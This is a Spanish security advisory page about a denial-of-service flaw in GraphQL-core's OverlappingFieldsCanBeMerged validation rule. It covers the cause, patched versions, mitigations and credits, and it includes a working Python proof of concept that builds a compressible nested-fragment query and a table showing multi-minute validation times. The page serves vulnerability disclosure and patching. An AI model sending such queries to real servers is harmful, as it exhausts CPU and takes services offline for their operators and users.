Alta

GraphQL-core: Denegación de servicio mediante complejidad cuadrática en la regla de validación OverlappingFieldsCanBeMerged

  • Publicada: 22.10.2026
  • Actualizado: 26.10.2026 10:00

Resumen

La regla de validación OverlappingFieldsCanBeMerged puede verse forzada a un tiempo de ejecución cuadrático —y en el peor de los casos O(n²·m²)— mediante una consulta pequeña y altamente comprimible. Un único documento de 364 KB puede ocupar un núcleo de CPU durante más de cinco minutos durante la validación, antes de que se ejecute cualquier resolver. Dado que la regla forma parte de specified_rules y, por lo tanto, está habilitada de manera predeterminada, todos los servidores basados en GraphQL-core se ven afectados con la configuración predeterminada.

Detalles

OverlappingFieldsCanBeMerged compara cada par de campos que comparten un nombre de respuesta e itera recursivamente en sus subselecciones. La memorización añadida para CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) se indexa por la identidad del fragmento con nombre (named fragment), por lo que no cubre esta ruta: los fragmentos inline se aplanan en el conjunto de selección principal antes de consultar la caché, y por lo tanto cada par se vuelve a comparar desde cero en cada nivel de anidamiento.

Repetir un fragmento inline que selecciona el mismo nombre de respuesta en dos niveles de anidamiento multiplica ambos efectos. No existía un límite de comparaciones ni un tiempo de espera de validación, por lo que la regla se ejecutaba hasta completarse sin importar el costo computacional.

El costo se genera en la fase de validación, lo que dificulta defenderse desde fuera de la biblioteca: los limitadores de profundidad de consulta, los analizadores de complejidad y los estimadores de costo operan en el documento parseado después de la validación, y el documento malicioso es trivialmente superficial (profundidad 3, complejidad 1). Además, la carga útil es una cadena corta repetida muchas veces, por lo que se comprime a unos pocos kilobytes y elude los límites de tamaño del cuerpo y la inspección del WAF que solo analizan la solicitud comprimida.

Prueba de concepto

python
import time
from graphql import build_schema, parse, validate

schema = build_schema(
    "type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)

def gen(n: int, m: int) -> str:
    inner = " ".join(["... on Node { x }"] * m)
    outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
    return f"{{ field {{ {outer} }} }}"

query = gen(200, 100)          # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document)      # returns no errors — it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")

Medido en GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:

n m tamaño de consulta tiempo de validación
20 20 7.6 KB 0.16 s
50 50 46 KB 5.2 s
100 100 182 KB 81 s
200 100 364 KB 319 s

Duplicar n con m fijo cuadruplica el tiempo, como se espera de un bucle externo cuadrático que impulsa un recorrido interno cuadrático.

Impacto

Denegación de servicio. Una sola solicitud retiene un proceso worker durante minutos; debido a que CPython mantiene el GIL durante este trabajo intensivo de CPU, un número reducido de solicitudes simultáneas puede saturar una implementación típica de múltiples workers. No se requiere autenticación y no se divulgan ni modifican datos.

Parches

Corregido en 3.2.12 y 3.3.0rc1.

La validación ahora aplica un límite de comparaciones por documento. Una vez que se han realizado MAX_FIELD_COMPARISONS (por defecto 250_000) comparaciones por pares, la regla se interrumpe y genera un GraphQLError en lugar de ejecutarse hasta el final:

Query is too complex to validate for overlapping fields: exceeded 250000 field comparisons. Validation was aborted.

El valor predeterminado está muy por encima de lo que cualquier consulta realista alcanza. Es una constante a nivel de módulo y se puede aumentar o reducir:

python
from graphql.validation.rules import overlapping_fields_can_be_merged

overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000

Tenga en cuenta el cambio de comportamiento: una consulta patológica que antes se validaba —lentamente— ahora produce un error de validación.

Mitigaciones provisionales

Si no puede actualizar, rechace los documentos de tamaño excesivo antes de que lleguen a validate(). Tenga en cuenta que el límite de tamaño del cuerpo de la solicitud debe aplicarse al cuerpo descomprimido para que sea efectivo en este caso, ya que la carga útil es altamente comprimible. Eliminar OverlappingFieldsCanBeMergedRule del conjunto de reglas no es una solución segura: es una regla de corrección requerida por la especificación.

Un límite de tamaño de cuerpo sigue siendo recomendable después de actualizar, ya que el límite de comparaciones solo acota esta regla específica y no el costo total de la solicitud.

Créditos

Reportado por @BZHunt, quien también revisó las correcciones antes del lanzamiento. En memoria de ZaX, quien fue la fuerza impulsora detrás de este descubrimiento.

Descubierto y diagnosticado de forma independiente por @bcmyguest, quien también propuso una solución.

Qué hacer

Actualice a 3.2.12, 3.3.0rc1 o superior. Si no es posible actualizar de inmediato, aplique límites de tamaño de solicitud al cuerpo descomprimido antes de transferirlo a validate(). No desactive la regla OverlappingFieldsCanBeMergedRule.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) graphql-core >= 3.0.0, < 3.2.12, >= 3.3.0a1, < 3.3.0rc1 3.2.12, 3.3.0rc1

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-400, CWE-407
Plataforma
Python (PyPI)
Paquete
graphql-core
Publicada
22.10.2026
Actualizado
26.10.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-vj8h-fx38-h3vc - CC BY 4.0

Historial de vulnerabilidades: graphql-core

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
3
Primera → última
10.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 3

Divulgaciones por año

  1. 2026: 3
  1. Alta · 7.5 CVE-2026-75508 >= 3.2.3, < 3.2.12, >= 3.3.0a3, < 3.3.0rc1 3.2.12, 3.3.0rc1
  2. GraphQL-core: Denegación de servicio mediante complejidad cuadrática en la regla de validación OverlappingFieldsCanBeMerged esta entrada
    Alta · 7.5 CVE-2026-75507 >= 3.0.0, < 3.2.12, >= 3.3.0a1, < 3.3.0rc1 3.2.12, 3.3.0rc1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.